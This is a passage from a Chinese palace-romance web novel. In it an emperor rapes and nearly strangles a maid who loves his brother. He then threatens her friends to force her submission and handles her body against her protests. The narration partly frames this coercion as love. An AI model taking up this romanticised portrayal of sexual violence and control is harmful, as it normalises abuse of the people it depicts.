她生下就只是个卑贱的奴婢,老天爷讓她把陛下当做她的一切,那她实在没办法拒绝,可她痛苦难受,以至于连命都不想再要。 她不要当他的狗,她只想在陈怀霖身边做人。 她还得谢谢太皇太后能给出她这样破罐破摔的机会。 这一刻,这些话从口中蹦出,恐惧什么的,都烟消雲散了。 “陛下,你这么激动是做些什么?你在生气什么?难受什么?我只是一个奴婢,何必为我如此动气” 妙珠噼里啪啦说了这么长一串的话,陈怀衡脸色从一开始的紧绷难看,到了后来变成一片冷漠。 他挺身而入,妙珠终于如他所愿闭上了嘴。 她疼得话也说不出了。 妙珠说得话太难听了,实在是太难听了。 把他最后对她的一点希望连带着怜惜都打碎了。 既说话这么难听,那就不要说了。 陈怀衡知道,妙珠是个娇气的小姑娘,他知她体弱,知她的皮肤一捏就红,知他的那东西对她来说还是太过吃力 这些事情根本不用陈怀衡刻意去留心,因为妙珠的娇气是那样轻而易举就能看出。 他以前还笑话过她是公主身、丫鬟命,可是后来,在不小心留心到了她的娇气后,竟又莫名去留心怎么不把这娇气的小宫女弄伤了。 她每次都说难受,哪次又没舒服? 可是今日,陈怀衡满脑子都是讓妙珠闭嘴,他抱着她,恶狠狠地和她融为一体,不管哪里,都融为一体。 他曾说她是世上最卑贱之人,可是现在,他气得切齿愤盈,却还是恨不得把这个最卑贱的人融到自己的骨头里面。 “贱骨头。” 和他那堪称激烈的动作相比,这从喉中慢慢吐出的三个字冷漠至极,没有一丝情绪。 贱骨头。 是在说她,更像是在说他自己。 陈怀衡面无表情,可那双丹凤眼却在烛火下露出几分狰狞恐怖,他那凉薄的嘴唇一径泛着冷白。 他看着身下妙珠,甚至希望她能在这刻说出求饶的话,一直到现在,他都还在等着这个胆小又娇气的女子低头,可是,等不到,始终是等不到。 她的脸上苦痛横生,却像是一具尸体再不给出他任何的反应。 这场刑罚折磨她,也折磨他。 他抽身离开,低头见她玉体横陈,烛火之下,皮肤白得的几乎能看到内里血管,只见不知是什么时候,她的身上被他掐出各种痕迹,身下不知道是什么时候弄出了一小滩血。 浑身上下都是倔强二字,浑身上下都说不服输。 是什么时候开始,那胆小的人竟变成了这样,为了陈怀霖,她当真是死都不松口。 陈怀衡看着半死不活的妙珠,再看不下去,大声喊来了卿雲,让她将人抬了出去。 不再看妙珠,再看妙珠也看不下去。 他气她恨她怨她,他想殺了她,方才掐在她脖子上的手差点弄丢了她的命。 无法忍受的背叛侵袭了他的全身,浑身上下的血液都被妙珠那一句句刺人的话变得暴虐。 在理智无法回笼时,妙珠就已经在身下流了血。 有些事情就发生在眼前,可却又覺离得很远,许多时候,不亲眼见到血,是不知道怎么去阻止它停下的。然而,当亲眼见到血时,一切也都已经变得无法挽回。 陈怀衡意图用这样的手段让妙珠屈服,就像是从前那回,他希望她能在他进去的时候就马上重新抱上来,对他说,她知道错了。他可以原谅她,他可以先原谅她,至于那些事,他会同她算账,只是现在,他不会这样再这样欺负她。 他一直在等着她低头。 可是没有,没有 她倔得都不像是她。 陈怀衡看到那些血从她身下流出,落在衾被之时,才知道他对妙珠竟一点没有办法。 他总觉得妙珠蠢笨。 可事实上,妙珠比他想得要聪明多了。 她知道他舍不得殺他了,便开始无休止地触碰他的底线。 妙珠。 她比他想得还要坏。 而他,竟比他想得还要懦弱。 妙珠都不知道自己最后是怎么出去的主殿。 她只知道自己浑身上下都疼得厉害,比被马车碾过都要疼些。 陈怀衡想要她认错,她不肯认,而后,他就像疯了一样地践踏着她。 深冬的夜极冷,下弦月挂在夜空之中,泛滥着凄清寒凉之气,妙珠被人抬回了房间,她被折磨至此,竟也没有昏过去。 卿雲看着她身上的痕迹也被骇到,她知陈怀衡这回生气,却也不曾想到竟气成了这般。 陈怀衡的脾气向来是不大好,妙珠非又要这般往他的枪口上撞,怎么都不肯服软,现下闹成这般,得多疼啊。 现下天已经晚了,再去找太医也不现实,卿云只好先为妙珠擦干血迹净了身。本以为这伤只能放到明日再说,可却不曾想到,没过多久,太医院那边竟来了人。 卿云心知太医从何而来,妙珠身上的伤他不便看,只好叫她转述一遍,太医听后只连连摇头,开了药方让宫人去取伤药来。 一直到了寅时,这里才终于写歇停下来。 卿云给妙珠的身上上完了药,妙珠半阖着眼,疼得睡不着觉。 卿云看着她的身体,陈怀衡在她身上弄出的痕迹格外明显,她看得眼眶发酸,对妙珠道:“你何必弄成这番呢,事情弄到这般地步,半死不活,倒比死了都难受些。” 陈怀衡定是舍不得她死,可舍得让她痛啊。 他大抵是以为,疼痛还能叫妙珠低头。 可别说是陈怀衡了,就连卿云也觉得妙珠这回倔得可怕。 妙珠终于有了些许反应,她听到卿云的话后,抬头看向了她,她扯了扯嘴角,沙哑着开了口:“我早就等着这天了,我还是不后悔。” 她早就等着这天,她想着,迟早是要撕破脸皮的。 他那样待她,她难不成还要给他当狗吗。 再听话的人,都受不了他的。 卿云见此,便蹙眉道:“可弄成这般便好受了吗?陛下就是个牛心左性的主,他的手段你难道还不清楚吗, 既不让你死,怕是你能叫你生不如死,你低个头,认个错,此事不也就揭过去了吗” 可她话没说完就兀地叫妙珠打断。 她瞧着有些激动,声音又抖又颤,却还在不停地说着:“不,我不认错,我没有错,我这回死都不要再认错,老天压着我的脑袋我也再不认了!今日这样的事对我来说根本就算不得什么,我从小到大碰到比这再恶心的事也多了个去,身子疼算些什么,他怎么打杀我,我都不再怕了上回他拿剑指我,他竟也觉得算了?算不了的,算不了我若得不到我想要的,我死也不怕了。” 妙珠怕疼,可她承受疼的能力却又不可与之相比。 说起她的往生也不过是一部简短的沧桑痛史,今日的痛对她来说算些什么? 直到现在,妙珠也始终不明白陈怀衡究竟是要她认些什么错。 若是说她欺骗他,引诱他 别好笑了。 他打她三十板的时候怎么不说欺骗她。 他拿剑指她的时候怎么不说在威逼她。 即便知道自己卑贱得无人能及,可趋利避害四个字她难道还不能懂吗? 陈怀霖对她好,她自然是想要跟着他的。 恫吓换不来真心,唯真心才能换真心。 她对陈怀衡的温良臣服换来了什么? 全是报应。 她更不知道现在再继续演下去又还有何意义在,她的背叛,她的心,不早就已经是人尽皆知的了吗。 再去认下那些无意义的错又还有什么意思呢。 她不膈应,陈怀衡自己难道也不膈应吗? 她早快受够了这样的日子,她的身体就算淌了血,也再不要低头认下那些莫名其妙的罪名了。 卿云见妙珠决心已定,也知自己是再劝不动她了。 她在很早前就已下定了决心,直到今日彻底地将她的决心展露在了明面上。 胆小的妙珠。 比谁都胆大。 卿云深深地叹了一口气,她伸出手背,蹭了蹭可怜的妙珠的脸,她道:“好孩子,歇着吧,好好歇着,有什么都往后再说了。睡一觉,睡一觉吧。” 怎么能不怜爱?妙珠倔得更驴一样,可卿云竟只觉她可怜得要命。 给她掖了掖被角,便吹熄了灯,起身离开了这处。 从妙珠的屋子里头出来后,却见主殿那处的灯还亮着。 才出去,陈怀衡就让人去喊卿云过去了。 他坐在床榻边,手肘撑在腿上,手掌颇为无力地撑顶着额。 “陛下” 听到动静,陈怀衡终回了神来,他抬头看向了卿云,问道:“人现下如何了?” 卿云抿唇回道:“瞧着不大好,抹了些药还是疼得睡不着。” 卿云说这话时,眼中也不自觉带了些不认可,她自也是觉得陈怀衡今日这样做太过了些。 陈怀衡自也捕捉到了她眼中的情绪,他眉头蹙得极深,寒着声道:“你也是觉得朕做错了?” 他错了? 他有什么错。 她口口声声说着要去当陈怀霖的女人,他没杀了她都是仁慈,他能有什么错? 他不是早就警告过她了吗。 可她已经学坏了,开始恃宠而骄,仗着他不杀她便为非作歹。 卿云只道:“奴婢不敢。” 陈怀衡懒得管卿云的口是心非,可却想起了另外一桩事。 妙珠又是什么时候突和陈怀霖这般情深意切,只是她单方面的,又还是说陈怀霖亦生出了别样的心思? 他忽地想起了先前那段时日妙珠频繁地出门。 她说是闲不住,想和卿云一起忙乾清宫的年事。 想到这里,他的目光忽变得冷沉,看向了卿云。 “前些时日,她都去做了什么?和谁见面了?” 卿云没想到陈怀衡竟这么快就猜来了出来,想到这里面色也苍白了些许,她嘴唇张合不知如何开口,可见她这幅模样,不待她回答,陈怀衡也很快就猜出来了。 还能去哪里?还能做什么? 合着那么些天,都是在他的眼皮子底下和陈怀霖私会呢。 陈怀衡到底都不知道那个时候他是犯了什么蠢竟叫她蒙骗了过去,这都没能发现。 他又想起那日她在床上格外动情,他还诱哄着她说了喜欢喜欢 现在回想起来,怕不是将他做了陈怀霖的替! 越是想着,脸色越臭。 卿云见陈怀衡这等神情,便又庆幸还好妙珠不在这处,不然又不知陈怀衡该怎么对她了。 被背叛的滋味意料之中的不好受,势位至尊的显贵帝王按理来说不能够被任何人背叛。 背叛背叛 这两个字压根就不可能出现在他的词典之中,更也不该出现在妙珠的身上。 可是,还是发生了。 妙珠背叛了他啊。 就像是日升月落那样,必然地发生了。 第43章 第四十三章我是你的狗吗? 理智告诉他,他不该再留下她了,她已经严重地影响了他的心绪。 可是,情感却又先一步占据了大脑。 要杀了妙珠?不,那不可以。 他知道的,如果杀了她,那他大概也要不順意。 再说,再说了,他凭什么要去順她的意,杀了她叫她痛快? 陳怀衡咬着手背,手背都叫他咬出了血迹,他强忍着压下了心中嗜血的情绪。 他挥退了卿云,许是还气在头上,竟都忘记了去和她追究背地里头帮妙珠的事了。 陳怀衡就这样坐在床榻边,鳏鳏未眠,一动未动坐到了天亮。 晨曦那不算明亮的光透过窗牖落进了殿内,今日的天不大好,浓云遮蔽在了紫禁城的上方,一直到了卯时也仍盘旋不去。 一直到后来,他终于起身,久不动作猛一起身,身形竟还踉跄了几步。 今日仍旧没有早朝,大臣们也都还在放着年假,陳怀衡往外殿去,坐到了平日处理政务的桌案前,一夜未眠,他却想着去处理奏折。 可近来放年假,便是連折子都少了许多,陳怀衡前些时日早就处理得差不多了,他闲得竟想去关怀一下后苑的花草,正好那里有个宫女在打扫园子,便又想起了以往时候妙珠也在这园子里面奔忙。 从昨个夜里一直到现在,妙珠妙珠,不管做什么,她竟都从脑子里面出不去了。 陈怀衡脸色冷沉,一夜未眠,唇边竟都生出了些许青碴,叫他难得看着失魂落魄。 他不再待在主殿,想着起身往外去,可没走出几步,不知怎地就绕到了妙珠的房前。 待到陈怀衡反应过来之时,已经站在了她的房门口。 他脸色仍旧那样陰陰郁郁,也只站在那里不进去,一直到卿云过来为妙珠送傷藥,刚好撞见了陈怀衡。 卿云道:“陛下是来看妙珠的吗” 傷她成那般的也是他,也不知他现在过来又是为何? 只是卿云见他表情不大好看,只疑心他是又来秋后算账。 陈怀衡听到了卿云的话,没有作答,视线落在那道门上,也不知是在想着些什么。 他一开始的时候并不是想来看她的。 他只是想着往别的地方去逛逛,只是不知道怎么走着走着便走到了这里。 既来都来了 再说了,这皇宫又有哪里不是他的,他凭什么不能进去。 这样想着,陈怀衡对卿云道:“开门,朕要进去。” 卿云也不好再说,只好开了门引了他进去。 今日天气不好,天际霮薱,一如他眉眼阴沉,屋子里头昏昏暗暗的,没什么光照进来,妙珠躺在床上,整个人缩成小小一团,瞧着是还没醒来。 昨日闹得那样晚,她又那样倔,最后还是受了不少傷,听卿云说她身上疼得睡不着,也不知是何时才歇下。 然而陈怀衡看着那道背影,又想起了她做得那些事,心中仍是郁闷难消,他讓卿云放下了藥,而后将人赶了出去,只留他一人在内。 妙珠对突然到来的陈怀衡一无所覺,他从始至终不曾出声,一直又过了差不多半个时辰,她终于渐渐转醒。 她不知道现在是什么时辰,她转过身去想看看现在天色如何,又大约是几时几刻。 然甫一侧身,就看到了坐在床边的陈怀衡。 他的背影并不难认,肩宽腰窄,光是看个背影都能瞧出那压迫人的气势。 妙珠兀地见他,便想起了昨日的事情,还是止不住地倒吸一口凉气。 就在这时,陈怀衡扭过头去看她,从口中没有感情地吐出两字。 “醒了?” 室内昏暗,妙珠难看清陈怀衡的神情,只覺那张落在阴影中的脸算不得多么友善。 妙珠不知道他今日寻来又是何意,但直覺不好,下意识就重新往被子里面钻。 她拉起了被子就要蒙头盖上。 却先一步被陈怀衡制止了动作。 他的手按着被子,妙珠怎么都扯不动。 只听他冷着声讥她:“昨日的狗胆子哪里去了?” 昨天就跟不要了命似的和他怄气作对,说着想要去陈怀霖,那个狗胆子去哪里了? 妙珠听到陈怀衡的话后,终没再和他去争被子,她渐渐卸下了力,只剩下几根手指无力地按在寝被之上。 睡了一覺之后,身上仍旧疼得厉害,只是因着方醒过来,猝不及防看到了他,一时之间也不知作何反应。 今日的妙珠和昨夜的妙珠却又不像是一个人。 她说着不怕疼,可昨日的疼仍旧讓她心有余悸,再看陈怀衡难免厌恶以及生惧。 陈怀衡触及妙珠的眼神,转瞬之间便察觉出她那嫌恶的神情中还带了几分惧色。 她不喜他。 她害怕他。 或许是一夜的未眠,将陈怀衡那旺盛的心力耗费了大半,今日的陈怀衡和昨夜的陈怀衡竟也全然不像是一个人。 若说昨日的他恨不能用尽酷刑叫妙珠向他低头,可今日在看到妙珠那又恨又怕的眼神之时,竟后悔昨日做了那样过分的事情。 后悔 陈怀衡没想到有朝一日这两个字竟然还会出现在自己身上。 他总是恐吓妙珠,说些什么“你若敢背叛,朕就讓你生不如死”的话,可是真当这事情发生之时,他又觉得自己总不该那样对她。痛极生惧,又何必弄得如此不堪,再说,她终究娇弱,那样做,实在是傷她。 他一方面这般想着,可另一方面却又在想,他有什么錯?他能有什么錯。 皇帝是不会对一个宫女犯錯的。 况说,他就算是惩罚妙珠,也不该有任何人能来指摘他,甚至包括他自己。 这是他从小到大在皇宫之中见识和学习到的道理,所有的人和事都教他,手中掌权者,有权做一切的事。 就像是他的亲生母亲,她成了太后之后,就将惹她讨厌的丽嫔做成了人彘;就像是太皇太后,她不喜欢太监,便想方设法地去和太监作对;又像是他那已经死去的老师,所有和他意见相左之人,他都会用尽手段毫不留情地将他们铲除 所有人都心狠手辣,包括但不仅限于陈怀衡。 关于紫禁城的一切都在告诉陈怀衡一个道理,他有权做任何的事,有权不被任何人背叛,背叛他的人就该受到惩罚。 他可以这样做。 他更不用为此而感到后悔和抱歉。 正是这两个全然相左的意见讓陈怀衡在脑中左右互搏,一时之间竟就那样没了言语。 妙珠见他不说话,便也不吭声,她不知他在想些什么,等了许久,才终于等到他开口。 陈怀衡从口中淡淡吐出两字:“疼吧。” 妙珠实话道:“疼。” 陈怀衡问:“那錯了没?” 妙珠默声片刻,而后道:“没错。” 在听到了这两个字之中,那片刻委顿于陈怀衡脑中的悔意马上烟消云散。 事实上,昨日的妙珠和今日的妙珠并不冲突,昨日的陈怀衡和今日的陈怀衡也并不冲突,此番简短的谈话一出,便马上又让他们变得剑拔弩张。 妙珠不认错,陈怀衡一如既往想要逼她认错。 他始终不能接受她昨日竟说了那样的话。 他又开口斥她愚蠢,道:“说你蠢也真没叫说错,你说说看,你怎么这么天真啊,太皇太后她说些什么,你就信些什么,为你说过几句话就当她是天大的善人。” 妙珠竟出言争道:“她为我说过话我都不能信她,那我该信谁?” 陈怀衡呵声讥讽:“当初推了宁煦落水的人你知道是谁吗?就是她的手笔啊,蠢货。” 陈怀衡这话便有些让妙珠惊骇了,她道:“你胡说八道些什么,冤枉我了还不够,还要往旁人身上泼脏水。” 那日他是怎么对她的,她都还记得呢。 现在太皇太后惹到他了,他便又将这事推到了她的身上去,怎么什么话都叫他说了呢? 陈怀衡知她是在说何事,却刻意撇开,不顺着她的话继续说下去,只道:“知人知面不知心没听说过?她当初掌朝几载,真以为她是什么善类?我登基之初,你可知她怎么待我?若非我心狠一些,如今她还垂帘听政着呢。这宫里头能无声无息地做那事的,除了她外,你又觉着还能有谁?她说给你恩典,也无非是想给我寻些不痛快来,还真以为她能如你愿?没发现自她说完了这话之后,就再没了人影吗,也就你一个人眼巴巴信了。” 陈怀衡难得一次说这样多的话,而这几句话中所蕴含的巨多辛密甚至让妙珠一时之间转不过脑来。 妙珠不敢相信宁煦之前落水竟然会是太皇太后的手笔,她被陈怀衡連续质问,竟也回答不上来一句。 陈怀衡又道:“你以为陈怀霖待你又是真心?还真以为他是什么好東西吗。” 说起陈怀霖,便又想起那两人在私底下背着他暗通款曲,语气便又比方才生冷了两个度。 他冷冷道:“若你非是我的人,你以为他会待见你?” 别说陈怀霖的心有多澄明,若他心思当真光明磊落便也不该在私底下做这样的事。 妙珠听他说起陈怀霖,话又这般难听,脸色便苍白了些。 她嫌陈怀衡心思龌龊,不喜他诋毁陈怀霖,一边却又被方才他说的那些话震惊到了些许,不想再同他说些什么,背过了身去,面向墙,干脆不再言语。 陈怀衡把她强硬地转了回来,看着她道:“他们都算计你呢,就我对你好些,你竟还想着背叛我。” 他说:“你不知感恩。” 又说:“你不识好歹。” 妙珠被他强硬掰了过来,听他说这些也只默不作声,她只淡淡地,没有情绪地看着他,过了好久才出声:“是我不知感恩,是我不识好歹。” “再侍奉在你身侧也是添堵,不若驱逐了我去吧。” 既这样厌她嫌她,何必呢。 陈怀衡听她又说起了这话,寒声道:“你想得倒好。” 妙珠看着他,眼中仍旧是怨,没有其他的情绪。 陈怀衡叫她这样的眼神刺到,也懒得再去顾忌她,一径掀开了她的被子,直接踢了鞋履,脱了外裳就往床上来。 妙珠叫他这突如其来的动作吓到,再想去躲,却已经来不及,整个人已经直接被陈怀衡揽到了怀中。 他的力道又急又大,妙珠没反应过来,就已经嵌进了他的怀中。 他身上的龙涎香又一次侵袭了妙珠的全身,将她裹挟了起来,她又急又恼,闷在他的怀中质问他:“你又干嘛!” 想要 推开他,可那两只手臂被他桎梏在怀中,压根就没有推人的余地。 这张床自不能同龙塌相提并论,陈怀衡一上来就占了大半的位置,让本就不算大的床更显狭小。 陈怀衡听到妙珠的质问,却也不曾开口回答她,他就那样野蛮地将她揉在怀中,默不作声。 妙珠叫他惹恼了,也不知是从哪里生出来的胆子,竟一口咬在了陈怀衡的肩头。 恶狠狠地,恨不得咬下他身上一块肉。 恨不得把她受过的疼都还给他。 陈怀衡吃痛,却仍旧没有松手。 为什么松手? 他才不会松手。 本该是她来抱他的。 做错了事为什么不来哄他?为什么不来和他道歉? 分明是她水性杨花在前。 一直到妙珠将他的肩膀咬破,血腥味透过里衣漫进了妙珠的口中,她咬得牙酸,终于肯松了口。 陈怀衡也终于出声,他道:“好本事,从前倒不见你牙口这样好。” 妙珠不说话,陈怀衡也仍旧是不撒手。 只是,不想他的声音竟也没有想象之中的怒火升腾。 自从昨日以来,陈怀衡的声音前所未有的平淡,他手上力道一点未松,抱着妙珠,她靠在他的肩口,他说话时,嘴唇贴在她的耳畔。 他淡声道:“我也不想胁迫你,只是你实在是不听话。你有个嬷嬷在司衣司里头,还有个荣桃,哦还有个陈怀霖,他引诱你的事,我也还不曾同他算账。” 是他从前待她太好了是吗,才会叫她产生了一种他是善人的错觉。 这世上没有绝对的忠诚,所以,他可以去原谅妙珠那短暂的背叛,若说胁迫能延续忠诚,那妙珠也太多的東西好去拿捏。 陈怀衡也不知道是从什么时候做了什么事,竟把妙珠往死路上去逼,让她连死都不再怕了。 可是,没有关系。 在廷狱里头,有太多的人都想着去求死,在这世上,有太多人活着比死了都难。 毕竟,死是一件很轻易的事情。 所以当妙珠做出这样的决定时,头脑一热便不管不顾,可待冷静下来之后,她难道没发现自己根本就不是那种孑然一身说死就死之人吗。 妙珠听到陈怀衡这无耻的话,还是叫气出了眼泪。 他威胁她。 他就连死那种唯一能叫她操纵的東西都剥夺,他不许她死,不许她背叛。 虐待产生忠诚,胁迫延续忠诚。 妙珠知道,他要她全心全意的臣服。 泪水顺着她的脸颊落下,滴在了陈怀衡肩膀那处被咬破的伤口上,泪和血水融合混杂在了一起。 妙珠出声问他:“我是你的狗吗?” 陈怀衡等着妙珠的回应,结果等来了她那滚烫的泪,等到了她这样的反问。 他明白她的意思。 妙珠大概是觉得,他把她当狗训了。 陈怀衡道:“没有。你是人。” 只是,扪心自问,在这样的情形下,要他怎么办? 他除了去用这些东西威胁她,他又能怎么办。 妙珠道:“你撒谎,你压根就没把我当人。” 他们两人根本就没有在这件事情上争执的必要,他有没有把她当人,不需看他如何说,看他如何做就是了。 妙珠道:“你总嫌我心口不一,可是你呢?” 你自己难道就心口如一了吗? 两人都不再说话,室内只有他们交错的呼吸声,还有妙珠的啜泣声。 陈怀衡一夜未眠,现下抱着妙珠,鼻尖都是她身上的味道,困倦竟跟着一并席卷而来。 他不管妙珠哭不哭的,人在他的怀里面抱着不就行了吗。 肩膀上被咬破的伤口的阵痛非但不叫他难受,竟还叫他莫名觉得心安。 就这样,他抱着妙珠慢慢睡沉了过去。 妙珠被他这样钳着是怎么都再睡不着的,她听到他那规律的呼吸声响起,知道人这是睡着了,想从他的怀里跑出去,可不想他便是睡着了也仍旧是不松手。 没法,到了最后也只好泄了气。 陈怀衡这一觉睡得很沉,竟一直睡到了下午申时,妙珠起先也睡不着,可后来被他抱着,眼睛一眨一眨,左右动弹不得,而后再受不住,便也睡了过去。 待陈怀衡醒来之时,妙珠也还没醒。 醒来之后,陈怀衡感受着妙珠满满当当塞在他的怀中,两日堆结的郁气也终于消下去了一些。 他低头看着怀中的人,就见妙珠两腮鼓得厉害,想来方才还是憋着气睡得,两腮上也还挂着泪痕,合着的眼也快肿成了一个小包。 陈怀衡放开了她,轻手轻脚起了身。 今日的天太差了,阴云密布,分明还没到傍晚,就已经黑了差不多。 陈怀衡看到了一旁桌柜上放的伤藥,才想起妙珠今日还没上过藥。 想他昨日他手上没轻没重,她的身上留了不少的伤 他点了一盏细灯,烛火发出微弱的光。 陈怀衡半跪到了床沿,动手开始去脱妙珠的衣裳。 妙珠睡得不大沉,只陈怀衡动作太过轻柔,叫她察觉不出,一直到了后来,奇怪的感觉越发强烈,身上凉飕飕的,妙珠终于察觉到了些许异样,兀地睁开了眼。 一睁眼,就和正在为她上药的陈怀衡对视上了。 她不明就里,只是低头看了眼自己光溜溜的身子,又看了眼陈怀衡,反应过后捂着身子不住地往里面退。 这等情形下,她自以为他是又想做那样的事来欺负人。 她看着陈怀衡认真地问道:“你是禽兽吗?” 妙珠没有想要骂他的意思,没有想要激怒他的意思,说这话也只是单纯的发问,极其简单的好奇罢了。 只陈怀衡脸色更难看了些,不知是妙珠的话刺到了他,又还是她使劲往后躲的动作刺到了他。 他深吸一口气,冷声道:“禽兽?我若真禽兽,你以为你现在又能好好躺在床上吗。滚回来,上药。” 妙珠这才终于注意到了他手上拿着的东西,空气之中也确弥漫着一股药味。 可她仍旧没有动作,紧咬着唇不动作。 她不动,陈怀衡便自己往里面去,妙珠身后就是墙,退无可退。 她抓着被子捂在身前,抗议道:“上药的话让卿云姐来就好了,不劳烦你。” “捂什么捂,哪没见过?”陈怀衡语气森然,又道:“你说起卿云便是提醒我了,之前她还一道帮着你去和旁人厮混对吧。” 听他旧事重提,又拿卿云来威胁她,妙珠脸色涨红,可那抓着被子的手还是渐渐卸了力。 陈怀衡扯开了那条聊胜于无的被子,借着幽暗烛火,看着她胸前的那片痕迹,上面方上的药又叫她这么一弄蹭掉了不少。 他抓着她在床上躺好,又重新伏身给她上药,身上的伤上好了,他又看向了她的腿间。 即便方才陈怀衡说她浑身上下都叫他看过了,可在触及到他的视线之时,妙珠还是忍不住伸手挡在了身下。 “不要”她说,“我自己来。” 若是陈怀衡会听她的话,那便也不是陈怀衡了。 他将手上的药放回了一旁桌柜上,又伸手去换了另外一罐药膏过来。 他换了个身位,跪向了妙珠的腿间。 他抓开了妙珠的手,开始检查起了那处情形。 这世上没有人还会比他更了解她的身体了,就连妙珠自己都不一定比他了解。 他检查着她的下身,神色认真,看着看着,还会时不时蹙眉,妙珠叫他那认真的神情看得又羞又恼,出言道:“你给个痛快行吗。” 有什么东西好叫他要去这样细看,存心要在这事上折磨她不是吗。 陈怀衡不赞同,他道:“痛快?这种事你急什么。” 妙珠和他这蛮人说不拎清,瞥开了头去,小臂横在脸上,不想再面对这些了。 陈怀衡也非故意在这事上磨她,只是想起昨日叫她气到失了神智,弄起来发了狠,最后也不知将人伤到了何种地步。 分明就是在昨日发生的事情,可现下再回想起来竟那般模糊 ,独独从她身下流出的那一小滩血是那样醒目。 太医总不能来这样察她的伤,那便也只好叫他来充这个太医。 许是已经上过药,又过去了一夜的缘故,那里看着已经没那般严重,想来再上几日的药便能好全。 这样想着,陈怀衡的指尖挎了一小块药,倾身抹药。 他的指尖太冰,凌冽的气息顺着那一个点遍布了妙珠的身躯,引得她一身颤栗。 他往里面上药,妙珠忍不住夹紧双腿,却被陈怀衡的大掌一把按住了大腿。 “别动。” 妙珠也不知这药最后是怎么上完的,只待这一切结束之时,只觉额间都涌出了不少的汗。 上了一场药,简直和受刑没什么两样。 她不知道陈怀衡是故意的又还是无意的,手指往着她的身上研磨,让她难受不堪。 陈怀衡上完了药,终于直起了身。 他面上仍旧是那样没有情绪,面无表情地拿了帕子擦去了手上的水渍,擦净了之后,便又要将妙珠从床上拉起身来,给她重新穿衣。 妙珠放下了遮在面上的手臂,幽幽怨怨地看向他,似在无声地埋怨他方才的举动,又似在斥责他故意给她难堪。 陈怀衡自读懂了她眼中的意思,他丝毫没觉不好,甚至道:“是故意的。” “不然你弄那么紧,我怎么给你上药?” 妙珠忍不住踹他,被陈怀衡抓住了脚。 “哪里学来的坏习惯?下次再胡乱踹人,一条链子锁起来便老实了。” 陈怀衡自顾自说着,又开始自顾自地给妙珠穿衣服,先是亵裤,又是里衣,方才一件件是怎么脱下来的,现在就一件件怎么给她套回去。 等弄完这一切时,外面的天已经黑透了。 陈怀衡肩膀那里叫妙珠咬破了,他随手拿了起先给妙珠上的药往自己身上抹,便算了事。 两人一天没用过膳食,他最后也没回主殿那里,又让人送来了吃食,端来了一张小桌置在床上便用了膳。 旁边坐着陈怀衡一起,妙珠连带着胃口都不大好了,即便一日未曾用过膳,面前的饭菜也仍旧吃不下几口,陈怀衡见她一口饭嚼个半天,最后来了一句:“要我喂你吃?” 磨磨蹭蹭的。 菜都快凉了也没吃个几口。 妙珠听到他这话终于没再磨蹭了,不看他,埋头扒饭。 用过膳后,陈怀衡仍旧不曾离开,待在这处,他今日白日里头都睡着觉,一到了晚间便又不安生,在妙珠的房间里面东看西摸,翻箱倒柜,也不知是在寻些什么玩样。 妙珠不知道他这是又在犯些什么毛病,睡饱了吃饱了以后便闲得没事干了? 她坐在床边,看着陈怀衡,道:“你又要做些什么。” 陈怀衡翻了那边的架子,又去翻了柜子,他道:“你没给我备生辰礼?” 他们只是昨天才闹了不痛快,他不信她之前没有给准备生辰礼,她就算是装也该给他备上才是。 她不给他,他要自己来找。 妙珠看着他的背影,淡淡道:“没有生辰礼。” 上回陈怀衡是和她提过一嘴生辰这事,后来乾清宫上下也一直都在忙这事,妙珠自然是不可能不知道,可知道了又怎么样? 谁要给他备生辰礼。 他就算是把这翻个底朝天也没有。 陈怀衡听到她的话后,翻找的动作一顿,妙珠以为他是歇了心思,然而,下一刻,他转过了身来,手上还拿了一条帕子,他提溜着这条帕子走到妙珠面前,看着坐在床上的人问道:“这什么?” 妙珠看到他手上拿着的东西,是陈怀霖的那条白帕子,后来她还在这上面亲手绣了一朵兰草上去。 妙珠道:“一条手帕而已。” 陈怀衡嗤笑:“当我傻子?是手帕难不成我还看不出来?” 这手帕不是她的吧。 她这人平日里头小气又抠搜,给她好衣服不乐意穿,赏她饰品也不乐意戴,还会舍得给自己用丝绸帕子?而且,上面还刺着一朵兰草,他能不去多想吗。 这东西是哪来的,他想也知道。 妙珠想要去夺回那方白帕,可陈怀衡哪能叫她如意,将手一抬,便再叫她够不到。 妙珠看到帕子便想到上回秋猎,他逼着她剪坏了陈怀霖的手帕,她又急又气,瞪着眼道:“你还给我!” 这回是怎么着?又想逼着她剪帕子不成。 他想也别想。 第44章 第四十四章我有什么可疯的,是她疯了…… 陳怀衡见她急了,面色也更加冷沉,道:“你什么出息?一條破帕子当宝贝。” 妙珠同他呛声:“确实是比不得您金贵。” 不怕死了之后,妙珠的胆子也大起来了,陳怀衡从前倒没发现她那张小嘴竟这般伶牙俐齿。 他看着手上的这條帕子就来火,妙珠从床上站起来就要够,陳怀衡把她放倒在床上,动手就要把这條帕子撕了,妙珠见此,又不要命地扑了过来。 “这是我的東西!你不许动!你还给我!” 平日里头那软绵绵的人,现在也不知道是哪里来的力气,陳怀衡一时不察,竟就叫她抢了过去。 陈怀衡不可置信地看着妙珠,她攥着那條帕子往怀里藏,都快把这東西当成命根子来護。 他气难忍,踢了一脚一旁凳子,凳子叫他这么一踢,马上开滚,最后撞到了墙上发出一声巨响。 妙珠叫这动静吓得一抖,将帕子護得更紧了一些。 陈怀衡深吐了几口气出来,试图平复下自己的心绪。 他对妙珠道:“把这给我,我賠你几条便是。” 賠?谁要他赔的东西呢? 妙珠知道陈怀衡是又想发脾气了,可她仍旧是不听他的话,她道:“我不要你赔的,我就要自己的。” 就要自己的。 陈怀衡气极反笑,不再和妙珠客客气气地打商量了,自己动手去夺,一边抢又一边讽她:“他不会就靠着两条帕子就给你哄得这番死心塌地吧?两条帕子,你都拿来当宝贝护着,怎么着,回头要不要我给他封个罗帕居士,叫他日日拿帕子去勾。引女人才好。” 妙珠拽着帕子不肯松手,道:“你说话非要这般难听吗,何必这样刺他” 还在为他说话。 这话说得陈怀衡更叫恼火,手上的力气也不再顾及。 单论力气来说,妙珠又怎可能是陈怀衡的对手,到头来全凭着一口气撑着,身体不知是从哪里爆发出来的能量,竟也没叫陈怀衡那么轻易地就抢走帕子。 只是,陈怀衡那边稍一用力,这帕子终也再禁不住两人的拉拉扯扯,随着一声“刺啦”声,裂帛之音應之而起。 妙珠听到这声,看着手上的帕子,瞳孔倏地瞪大。 她辛苦护着的帕子最后还是落得一个下场,还是碎成了两半。 她抬眼看向陈怀衡,胸口那股郁气更堵得慌,到了最后竟拿这碎成半劈的帕子劈头盖脸砸到了他的脸上。 她的声音还带着几分哭腔,愤愤道:“给你,给你便是了!” 陈怀衡一时没能反應过来,竟就叫她那帕子砸个正着。 